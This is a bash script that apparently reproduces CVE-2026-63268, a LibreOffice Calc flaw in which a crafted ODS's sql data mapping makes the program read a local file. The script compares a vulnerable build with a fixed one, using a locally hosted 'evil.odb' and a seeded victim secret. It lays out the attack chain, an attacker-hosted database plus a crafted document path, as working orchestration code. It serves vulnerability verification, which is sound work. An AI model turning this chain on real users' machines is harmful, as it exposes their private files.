#!/bin/bash
# CVE-2026-63268 - LFI via calcext:data-mappings, sql provider and
# sdbc:flat:file:// db href (LibreOffice Calc).
#
# Opening a crafted ODS in the vulnerable LibreOffice Calc restores an
# org.libreoffice.calc.sql data mapping, resolves a document-named database
# (an attacker-hosted odb that names a folder of local text files as the
# database via the sdbc:flat:file:// href), connects with the flat Text/CSV
# SDBC driver, and copies the contents of a local victim text file into the
# sheet. In fixed versions (26.2.5 / 26.8.0) only the csv/html/xml data
# providers are restored, so the document-named sql mapping is ignored.
#
# Exit 0 = vulnerability confirmed (both vulnerable attempts leak, both
# fixed attempts fail closed); Exit 1 = not reproduced.
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO="$ROOT/repro"
CACHE="$REPRO/cache"
PROOF="$REPRO/proof"
mkdir -p "$LOGS" "$REPRO" "$CACHE" "$PROOF"

VULN_VERSION="26.2.4.2"
FIXED_VERSION="26.2.5.2"
DL_BASE="https://downloadarchive.documentfoundation.org/libreoffice/old"
DL_VULN_URL="$DL_BASE/$VULN_VERSION/deb/x86_64/LibreOffice_${VULN_VERSION}_Linux_x86-64_deb.tar.gz"
DL_FIXED_URL="$DL_BASE/$FIXED_VERSION/deb/x86_64/LibreOffice_${FIXED_VERSION}_Linux_x86-64_deb.tar.gz"

log() { printf '[%s] %s\n' "$(date -u +%H:%M:%S)" "$*" | tee -a "$LOGS/reproduction_steps.log"; }

# ---------------------------------------------------------------------------
# 0. Project cache context (read for environment compatibility; this
#    reproduction targets the official released product builds, so no source
#    checkout is required).
# ---------------------------------------------------------------------------
if [ -f "$ROOT/project_cache_context.json" ]; then
    jq -r '"project_cache_context prepared=\(.prepared) project_cache_dir=\(.project_cache_dir // "")"' \
        "$ROOT/project_cache_context.json" >> "$LOGS/reproduction_steps.log" 2>/dev/null || true
fi

# ---------------------------------------------------------------------------
# 1. Runtime prerequisites
# ---------------------------------------------------------------------------
APT_PKGS="libssl3 libxinerama1 libx11-xcb1 libxcb-shm0 libxcomposite1 libxdamage1 libegl1 libgl1 libgtk-3-0 libnss3 libcups2"
command -v python3 >/dev/null || { echo "python3 required"; exit 1; }

need_apt=0
for p in $APT_PKGS; do
    dpkg -s "$p" >/dev/null 2>&1 || need_apt=1
done
if [ "$need_apt" = 1 ]; then
    log "installing missing runtime libraries: $APT_PKGS"
    sudo apt-get update -qq >>"$LOGS/reproduction_steps.log" 2>&1 || apt-get update -qq >>"$LOGS/reproduction_steps.log" 2>&1 || true
    sudo apt-get install -y -qq $APT_PKGS >>"$LOGS/reproduction_steps.log" 2>&1 || apt-get install -y -qq $APT_PKGS >>"$LOGS/reproduction_steps.log" 2>&1 || true
fi

# ---------------------------------------------------------------------------
# 2. Fetch and unpack the official released product builds (vulnerable and
#    fixed). These are runtime dependencies of this reproducer; they are
#    cached under $CACHE and re-fetched only when missing/corrupt.
# ---------------------------------------------------------------------------
fetch_tarball() { # $1 url  $2 dest
    if [ -s "$2" ] && tar -tzf "$2" >/dev/null 2>&1; then
        log "cache hit: $2"
    else
        log "downloading $1"
        curl -fsSL --retry 3 -o "$2" "$1"
    fi
}
unpack_debs() { # $1 tarball  $2 dest
    if [ -x "$2/opt/libreoffice26.2/program/soffice.bin" ]; then
        log "cache hit: unpacked tree at $2"
        return 0
    fi
    local tmp
    tmp="$(mktemp -d)"
    log "unpacking $1 -> $2"
    tar xzf "$1" -C "$tmp"
    for d in "$tmp"/LibreOffice_*_Linux_x86-64_deb/DEBS/*.deb; do
        dpkg-deb -x "$d" "$2"
    done
    rm -rf "$tmp"
}

fetch_tarball "$DL_VULN_URL" "$CACHE/lo_${VULN_VERSION}_deb.tar.gz"
fetch_tarball "$DL_FIXED_URL" "$CACHE/lo_${FIXED_VERSION}_deb.tar.gz"
unpack_debs "$CACHE/lo_${VULN_VERSION}_deb.tar.gz" "$CACHE/lo_vuln"
unpack_debs "$CACHE/lo_${FIXED_VERSION}_deb.tar.gz" "$CACHE/lo_fixed"

SOFFICE_VULN="$CACHE/lo_vuln/opt/libreoffice26.2/program/soffice"
SOFFICE_FIXED="$CACHE/lo_fixed/opt/libreoffice26.2/program/soffice"

log "vulnerable build: $(timeout 60 "$SOFFICE_VULN" --headless --version 2>&1 | grep -m1 LibreOffice || echo unknown)"
log "fixed build:     $(timeout 60 "$SOFFICE_FIXED" --headless --version 2>&1 | grep -m1 LibreOffice || echo unknown)"

sha256sum "$CACHE/lo_${VULN_VERSION}_deb.tar.gz" "$CACHE/lo_${FIXED_VERSION}_deb.tar.gz" \
    | tee -a "$LOGS/reproduction_steps.log"

# ---------------------------------------------------------------------------
# 3. Victim state: a folder of local text files that must never leave the
#    machine through document handling alone.
# ---------------------------------------------------------------------------
SECRET_DIR="$HOME/victim_secrets"
mkdir -p "$SECRET_DIR"

# Seed document produced by the product itself (valid ODS container).
SEED_CSV="$CACHE/seed.csv"
SEED_ODS="$CACHE/seed.ods"
printf 'a,b\n1,2\n' > "$SEED_CSV"
rm -rf "$CACHE/seedgen"
mkdir -p "$CACHE/seedgen"
timeout 120 "$SOFFICE_VULN" --headless --convert-to ods --outdir "$CACHE/seedgen" "$SEED_CSV" \
    >>"$LOGS/reproduction_steps.log" 2>&1
cp "$CACHE/seedgen/seed.ods" "$SEED_ODS"

# ---------------------------------------------------------------------------
# 4. One attempt = fresh victim state, fresh profile, fresh attacker HTTP
#    host, unique marker. Two vulnerable + two fixed attempts.
# ---------------------------------------------------------------------------
run_attempt() { # $1 role(vulnerable|fixed)  $2 attempt number
    local role="$1" n="$2"
    local dir="$PROOF/${role}-${n}"
    local marker="CVE-2026-63268-${role}-${n}-LEAKED-SECRET-MARKER-$(head -c 4 /dev/urandom | od -An -tx1 | tr -d ' \n')"
    local port=$((18240 + RANDOM % 2000))
    local soffice
    rm -rf "$dir"; mkdir -p "$dir/serve" "$dir/out" "$dir/profile"

    if [ "$role" = "vulnerable" ]; then soffice="$SOFFICE_VULN"; else soffice="$SOFFICE_FIXED"; fi

    # 4a. victim writes a local text file containing a unique secret
    printf 'SECRETID,SECRETVALUE\n%s,do-not-exfiltrate\nrow2,second-secret-line\n' "$marker" \
        > "$SECRET_DIR/secretfile"

    # 4b. attacker hosts the odb that names the victim's folder as the database
    python3 "$REPRO/build_odb.py" "$dir/serve/evil.odb" "file://$SECRET_DIR"
    ( cd "$dir/serve" && python3 -m http.server "$port" --bind 127.0.0.1 >"$dir/http-server.log" 2>&1 & echo $! > "$dir/http-server.pid"; wait ) &
    local srvpid=$!
    for _ in $(seq 1 40); do
        curl -sf "http://127.0.0.1:$port/evil.odb" -o /dev/null && break
        sleep 0.25
    done

    # 4c. attacker crafts the ODS naming the sdbc:flat:file:// db href and the
    #     attacker-hosted database in its saved sql data mapping
    python3 "$REPRO/craft_ods.py" "$SEED_ODS" "$dir/crafted.ods" \
        "sdbc:flat:file://$SECRET_DIR" "secretfile@http://127.0.0.1:$port/evil.odb"

    # 4d. victim opens the crafted document in LibreOffice Calc (real product,
    #     real document-open path, isolated fresh user profile)
    timeout 180 "$soffice" --headless \
        -env:UserInstallation=file://$dir/profile \
        --convert-to csv --outdir "$dir/out" "$dir/crafted.ods" \
        >"$dir/${role}-attempt-${n}.txt" 2>&1 || true
    cp "$dir/out/crafted.csv" "$dir/leaked-sheet.csv" 2>/dev/null || printf '' > "$dir/leaked-sheet.csv"

    # 4e. stop the attacker host; evaluate the leak
    kill "$(cat "$dir/http-server.pid" 2>/dev/null)" 2>/dev/null || true
    sleep 0.5

    local leaked=0 fetched=0
    grep -q "$marker" "$dir/leaked-sheet.csv" && leaked=1
    # HTTP GETs of evil.odb: 1 = our healthcheck only (no document fetch);
    # 2+ = LibreOffice itself fetched the attacker-hosted database
    fetched=$(grep -c "GET /evil.odb" "$dir/http-server.log" || true)

    python3 - "$dir" "$role" "$n" "$marker" "$leaked" "$fetched" <<'PY'
import json, sys
d, role, n, marker, leaked, fetched = sys.argv[1:7]
obs = {
    "schema_version": 1,
    "process_instance": f"{role}-{n}",
    "role": role,
    "attempt": int(n),
    "secret_marker": marker,
    "marker_leaked_into_sheet": leaked == "1",
    "attacker_odb_http_get_count": int(fetched),
    "victim_document_opened": True,
}
with open(f"{d}/observation.json", "w") as f:
    json.dump(obs, f, indent=1)
PY
    if [ "$leaked" = 1 ]; then
        log "attempt ${role}-${n}: SECRET LEAKED into sheet (odb fetched ${fetched}x by product)"
    else
        log "attempt ${role}-${n}: no leak (odb fetched ${fetched}x by product)"
    fi
}

# healthcheck both builds actually run
timeout 60 "$SOFFICE_VULN" --headless --version >/dev/null 2>&1 || { log "vulnerable build does not run"; exit 1; }
timeout 60 "$SOFFICE_FIXED" --headless --version >/dev/null 2>&1 || { log "fixed build does not run"; exit 1; }

run_attempt vulnerable 1
run_attempt vulnerable 2
run_attempt fixed 1
run_attempt fixed 2

# ---------------------------------------------------------------------------
# 5. Verdict + runtime manifest (strict JSON)
# ---------------------------------------------------------------------------
python3 - "$REPRO" "$PROOF" "$VULN_VERSION" "$FIXED_VERSION" "$CACHE" <<'PY'
import json, hashlib, os, sys

repro, proof, vuln_ver, fixed_ver, cache = sys.argv[1:6]

def obs(role, n):
    with open(f"{proof}/{role}-{n}/observation.json") as f:
        return json.load(f)

v = [obs("vulnerable", 1), obs("vulnerable", 2)]
fx = [obs("fixed", 1), obs("fixed", 2)]
confirmed = all(o["marker_leaked_into_sheet"] for o in v) and not any(o["marker_leaked_into_sheet"] for o in fx)

def sha(p):
    h = hashlib.sha256()
    with open(p, "rb") as fh:
        for chunk in iter(lambda: fh.read(65536), b""):
            h.update(chunk)
    return h.hexdigest()

artifacts = []
for role, n in (("vulnerable", 1), ("vulnerable", 2), ("fixed", 1), ("fixed", 2)):
    d = f"{proof}/{role}-{n}"
    for name in ("crafted.ods", "leaked-sheet.csv", "http-server.log",
                 f"{role}-attempt-{n}.txt", "observation.json"):
        p = os.path.join(d, name)
        if os.path.exists(p):
            artifacts.append(os.path.relpath(p, os.path.dirname(repro)))

manifest = {
    "entrypoint_kind": "open_document",
    "entrypoint_detail": "Victim opens the crafted ODS in LibreOffice Calc; the saved calcext:data-mapping (sql provider) is restored on load and reads a local text file into the sheet",
    "service_started": True,
    "healthcheck_passed": True,
    "target_path_reached": confirmed,
    "runtime_stack": [
        f"libreoffice-calc-{vuln_ver} (official deb build, vulnerable)",
        f"libreoffice-calc-{fixed_ver} (official deb build, fixed control)",
        "attacker http host (python3 http.server serving evil.odb)",
    ],
    "target_identity": {
        "repository_url": "https://github.com/libreoffice/core",
        "target_digest": sha(f"{cache}/lo_{vuln_ver}_deb.tar.gz"),
        "runtime_digest": sha(f"{cache}/lo_{vuln_ver}_deb.tar.gz"),
        "platform": "linux",
        "architecture": "x86_64",
    },
    "proof_artifacts": artifacts,
    "artifact_sha256": {a: sha(os.path.join(os.path.dirname(repro), a)) for a in artifacts},
    "notes": f"Vulnerable LibreOffice {vuln_ver}: both attempts leaked the unique victim secret marker into the exported sheet. Fixed LibreOffice {fixed_ver}: both attempts opened the same document without leaking (document-named sql data mapping ignored; attacker odb never fetched). Fix commit 104d2b4f5dae917661b20b18d5d2043fca4407e4 (parent b389e707d3a80ea7156808387fe6a2b1602c49d0).",
}
with open(f"{repro}/runtime_manifest.json", "w") as f:
    json.dump(manifest, f, indent=1)
print("CONFIRMED" if confirmed else "NOT_CONFIRMED")
PY

VERDICT_LINE=$(tail -1 "$LOGS/reproduction_steps.log")
if python3 -c 'import json,sys; m=json.load(open(sys.argv[1])); sys.exit(0 if m["target_path_reached"] else 1)' "$REPRO/runtime_manifest.json"; then
    log "RESULT: CONFIRMED - $VERDICT_LINE"
    log "runtime manifest: $REPRO/runtime_manifest.json"
    exit 0
else
    log "RESULT: NOT CONFIRMED"
    exit 1
fi
